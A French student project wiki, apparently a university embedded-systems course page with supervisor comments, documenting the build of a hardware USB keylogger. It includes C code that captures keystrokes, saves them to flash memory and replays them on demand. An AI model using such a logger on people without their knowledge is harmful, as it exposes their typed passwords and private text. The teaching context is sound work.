ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).

==== Gestion clavier USB ====
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]<ref>Vidéo démo du programme KeyboardHost sur l'AT90</ref>.

ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.

On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.

Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur<ref name=":0" group="Code associé">Configuration de l'horloge</ref>. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].

ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).

En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]<ref>Vidéo AT90 et Arduino/LCD qui récupère les caractères</ref>.

ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.

[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]

Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]<ref>Vidéo démo Clavier -> AT90 (USART) -> ATMEGA -> PC</ref>. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).

On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.

ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).

Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.

ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.

==== Keylogger ====
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.

ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.

Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :
<syntaxhighlight lang="c" line="1">
int main(void)
{
CLKPR = (1<<CLKPCE);
CLKPR = 0;
MCUCR |= (1<<JTD);
MCUCR |= (1<<JTD);

SetupHardware();

puts_P(PSTR(ESC_FG_CYAN "Keyboard HID Host Demo running.\r\n" ESC_FG_WHITE));

LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);
GlobalInterruptEnable();

/* Variable for the AT45DB641E */
int page_start = 0;
int page_actual = page_start;
int page_buffer_size = 0;

for (;;)
{
KeyboardHost_Task(&page_actual, &page_buffer_size);
Flash_Task(&page_start, &page_actual, &page_buffer_size);
USB_USBTask();
}
}

// ...

void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
// ...
/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
unsigned char data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

/* Serial communication */
Serial_SendByte(KeyCode);

// ...
}
</syntaxhighlight>

ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).

Dans ma logique, j'utilise trois variables : <code>page_start</code> qui est la page où l'on commence l'écriture, <code>page_actual</code> qui indique la page courante et <code>page_buffer_size</code> qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.

ReX : La variable <code>page_start</code> me semble inutile.

L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page <code>page_actual</code>. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).

Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.

<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->KeyCode[0] = Serial_ReceiveByte();
}
}
</syntaxhighlight>

Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction <code>Serial_SendData</code> pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.

ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique).

ReX : Le problème pour l'envoi de l'octet <code>modifier</code> est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).

<s>De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).</s> Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.

Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. <syntaxhighlight lang="c" line="1">
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();
uint8_t Ending_Byte;
do {
Ending_Byte = Serial_ReceiveByte();
} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = *page_start;
*page_buffer_size = 0;
}

if (Command_Byte == SERIAL_FLASH_GET)
{
uint8_t data[FLASH_PAGE_SIZE];

int address, j;
for (address = (*page_start); address <= (*page_actual); address++)
{
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (j = 0; j < ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)
{
/* Communicating data by serial connection */
while (!Serial_IsSendReady());
Serial_SendByte(data[j]);
Serial_SendByte(data[j+1]);
while (!Serial_IsSendComplete());
_delay_ms(50);
}
}
}
}
}
</syntaxhighlight>'''Explications :'''

* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.
* Ensuite on effectue une tâche selon le code:
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.
*** On parcourt toutes les pages qui ont pu être enregistrées.
*** On récupère les touches tapées sur la page.
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)

A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à <code>page_actual</code> qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt <codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.

ReX : Le délai me paraît non nécessaire par contre les deux <code>Serial_SendByte</code> sans attente entre les deux me paraît joueur. Sauf si <code>Serial_SendByte</code> est bloquant mais je parierais pas.

Concernant la fonction de gestion de la flash du côté de l'ATMega :
<syntaxhighlight lang="c" line="1">
void Flash_Task(void)
{
uint8_t ButtonStatus_LCL = Buttons_GetStatus();

/* Reset flash button */
if (ButtonStatus_LCL & BUTTONS_BUTTON1){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_RESET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}

/* Get all the flash */
if (ButtonStatus_LCL & BUTTONS_BUTTON2){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_GET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}
}
</syntaxhighlight>

On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction <code>Flash_Task</code> d'être executée plus d'une fois.

ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.

Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :

<syntaxhighlight lang="c" line="1">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
uint8_t ReceivedByte;
ReportData->KeyCode[0] = Serial_ReceiveByte();
do {
ReceivedByte = Serial_ReceiveByte();
} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData->KeyCode[0]));

ReportData->Modifier = ReceivedByte;
}
}
</syntaxhighlight>

ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.

Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :
<syntaxhighlight lang="c" line="1">
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
//..

uint8_t KeyCode = KeyboardReport.KeyCode[0];
uint8_t Modifier = KeyboardReport.Modifier;

/* Check if a key has been pressed */
if (KeyCode)
{
/* Toggle status LED to indicate keypress */
LEDs_TurnOnLEDs(LEDS_LED2);

/* Serial communication */
Serial_SendByte(KeyCode);
Serial_SendByte(Modifier);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;
data[(*page_buffer_size)++] = Modifier;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

LEDs_TurnOffLEDs(LEDS_LED2);
}
}

// ...
}
</syntaxhighlight>

ReX : Même remarque sur les deux <code>Serial_SendByte</code> consécutifs et sur la méthode pour envoyer modificateur et codes de touches.

En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction <code>Serial_SendByte</code>, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.

ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un <code>while(!Serial_IsSendComplete());</code> entre les deux <code>Serial_SendByte</code> ?

On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].

On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.

On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]<ref>Vidéo démo du Keylogger</ref>.

Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.

ReX : Toujours une très bonne vidéo de démonstration.

Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?

ReX : Ils passent en mode DFU ?

Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].

===== Modification du Keylogger =====
Lien vers les programmes : [[:Fichier:Keylogger.zip|clic]]

J'ai apporté des modifications sur l'envoie et la réception des données via la liaison série, et l'ajout d'un buffer temporaire avant d'enregistrer dans la flash. De plus, j'utilise des fonctions de <code>string.h</code> afin de rendre le code plus lisible lorsque je veux assigner des valeurs à des tableaux via les fonctions <code>memset</code> et <code>memcpy</code>.

Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie <code>Serial.h</code> de LUFA. Le déroulé se passe comme ci-dessous :<syntaxhighlight lang="c">
while(!Serial_IsSendReady());
Serial_SendData(tableau_de_7_octets);
while(!Serial_IsSendComplete());
.....
while(!Serial_IsSendComplete());
</syntaxhighlight>Et pour la réception :<syntaxhighlight lang="c">
if (Serial_IsCharReceived())
{
uint8_t Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
uint8_t KeyCode1 = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
...
uint8_t KeyCode5 = Serial_ReceiveByte();
}
</syntaxhighlight>Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.

De plus, j'ai ajouté les 5 autres KeyCode qui pourrait être renseigner via le rapport clavier sur l'AT90.

On peut voir ci-dessous la nouvelle fonction de création et d'envoie de rapport clavier de l'AT90. Tout d'abord, on enregistre tout les codes à envoyé dans un tableau de 7 octets. Ainsi on a juste à utiliser la fonction <code>Serial_SendData</code> pour envoyé en une fois tout les codes en une fois. Ensuite on vérifie si on doit passer à la page suivante dans la flash ou non, et puis on vérifie si on doit enregistrer ou non le buffer de la flash dans la mémoire, pour finir par remplir le buffer de la flash.<syntaxhighlight lang="c" line="1">
/* Serial communication */
uint8_t Data_to_Send[7];

Data_to_Send[0] = KeyboardReport.Modifier;
Data_to_Send[1] = KeyboardReport.KeyCode[0];
Data_to_Send[2] = KeyboardReport.KeyCode[1];
Data_to_Send[3] = KeyboardReport.KeyCode[2];
Data_to_Send[4] = KeyboardReport.KeyCode[3];
Data_to_Send[5] = KeyboardReport.KeyCode[4];
Data_to_Send[6] = KeyboardReport.KeyCode[5];

while(!Serial_IsSendReady());
Serial_SendData(Data_to_Send, 7);
while(!Serial_IsSendComplete());
_delay_ms(10);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1)) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Checking if the flash buffer is full */
if (*flash_buffer_i == FLASH_BUFFER_SIZE) {
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
if (*page_buffer_size != 0)
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

memcpy(&(data[*page_buffer_size]), flash_buffer, FLASH_BUFFER_SIZE);

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

memset(flash_buffer, 0, FLASH_BUFFER_SIZE);
*page_buffer_size += FLASH_BUFFER_SIZE;
*flash_buffer_i = 0;
}

/* Writing the Modifier and Keycodes in the flash_buffer */
for (int i = 0; i < 7; i++) flash_buffer[(*flash_buffer_i)++] = Data_to_Send[i];
</syntaxhighlight>Concernant l'envoie des touches mémorisés qui se trouvent dans la fonction <code>Flash_Task</code> :<syntaxhighlight lang="c">
void Flash_Task(int *page_actual, int *page_buffer_size, uint8_t *flash_buffer, int *flash_buffer_i)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = 0;
*page_buffer_size = 0;
memset(flash_buffer, 0, FLASH_BUFFER_SIZE);
*flash_buffer_i = 0;
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0xC7, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x94, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x80, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x9A, NULL, 0);
}

if (Command_Byte == SERIAL_FLASH_GET)
{
int address, byte;
uint8_t Data_to_Send[7];
for (address = 0; address <= (*page_actual); address++)
{
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (byte = 0; byte < (address == (*page_actual) ? *page_buffer_size : FLASH_PAGE_INDEX_MAX+1); byte += 7)
{
// for (k = 0; k < 7; k++)
// Data_to_Send[k] = data[byte + k];
memcpy(Data_to_Send, &(data[byte]), 7);

while (!Serial_IsSendReady());
Serial_SendData(Data_to_Send, 7);
while (!Serial_IsSendComplete());
_delay_ms(10);
}
}
for (byte = 0; byte < (*flash_buffer_i); byte += 7)
{
// for (k = 0; k < 7; k++)
// Data_to_Send[k] = flash_buffer[byte + k];
memcpy(Data_to_Send, &(flash_buffer[byte]), 7);

while (!Serial_IsSendReady());
Serial_SendData(Data_to_Send, 7);
while (!Serial_IsSendComplete());
_delay_ms(10);
}
}
}
}
</syntaxhighlight>Si l'octet de commande est celui du reset de la mémoire, on remet à zéro tout les indices concernant la mémoire et le buffer de la flash. Puis on appelle une commande de la flash qui consiste à réinitialiser toute la puce.

Lorsque la commande est celui de la récupération de la mémoire, on lit et envoie toutes les données des pages mémoires dans la flash, puis on envoie aussi les données qui se trouve potentiellement dans le buffer de la flash.

Au final, dans le programme de l'AT90, on se retrouve avec deux nouvelles variables <code>flash_buffer</code> qui est le tableau de taille 63 (capable de stocker 9 entrées du clavier) et <code>flash_buffer_i</code> qui nous permet de suivre l'évolution du remplissage du buffer. De plus, on peut voir l'ajout d'un délai de 10 millisecondes qui permet d'espacer chaque envoie en plus de la fonction <code>Serial_IsSendComplete</code> afin de ne pas avoir un caractère qui saute à la réception.

Concernant le programme de l'ATMEGA, pas grand chose a changé si ce n'est la façon de recevoir les octets de données des touches tapés :<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[0] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[1] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[2] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[3] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[4] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[5] = Serial_ReceiveByte();
}
}
</syntaxhighlight>On attends à partir de la fonction <code>Serial_IsCharReceived</code> qu'un octet soit sur le flux de la liaison série. Puis on récupère l'octet via la fonction <code>Serial_ReceiveByte</code>. Assez simple finalement ! = )

= Documents Rendus =
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]

ReX : Erreur dans la fonction <code>LEDs_ToggleLEDs</code>.

ReX : Erreur dans le <code>makefile</code>, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction <code>main</code> :
CLKSEL0 = 0b00010101; // sélection de l'horloge externe <ref name=":0" group="Code associé" />
CLKSEL1 = 0b00001111; // minimum de 8Mhz
CLKPR = 0b10000000; // modification du diviseur d'horloge (CLKPCE=1)
CLKPR = 0; // 0 pour pas de diviseur (diviseur de 1)
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]

Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]

Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]

=== Liste des références vidéo ===
<references />

=== Liste des références image ===
<references group="Image" />

=== Liste des références code ===
<references group="Code associé" />

SE4 2022/2023 EC5

2023-08-14T20:20:43Z

Bnguyen1 : /* Documents Rendus */

= Objectifs =

Il vous est demandé de :
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,
** une mémoire flash pour pouvoir sauver les touches capturées ;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.

= Matériel nécessaire =

Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.

[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]

Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.

Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en <code>.fzz</code>).

Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].

<div style="clear: both;" />

= Travail réalisé =

=== Semaine 1 ===
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.

J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.

Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA.

J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.

Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !

Vidéo : [[:Fichier:EC5-Semaine1.mp4]]<ref>Vidéo rapport semaine 1</ref>

ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.

ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.

ReX : La fonction de délai est <code>_delay_ms</code>, le fichier d'inclusion nécessaire est <code>util/delay.h</code>.

=== Semaine 2 ===

L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.

ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.

ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...
[[Fichier:Image.png|vignette]]
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) <ref group="Image">[[:Fichier:Keyboard problem2.jpg]]</ref>, mais le périphérique reste inconnu pour ma machine.

Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (<nowiki>https://youtu.be/Vd0F0XHzchY</nowiki>).

ReX : Tu tentes de faire le projet sous windows ?

Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.

ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec <code>dfu-programmer</code>.

ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?

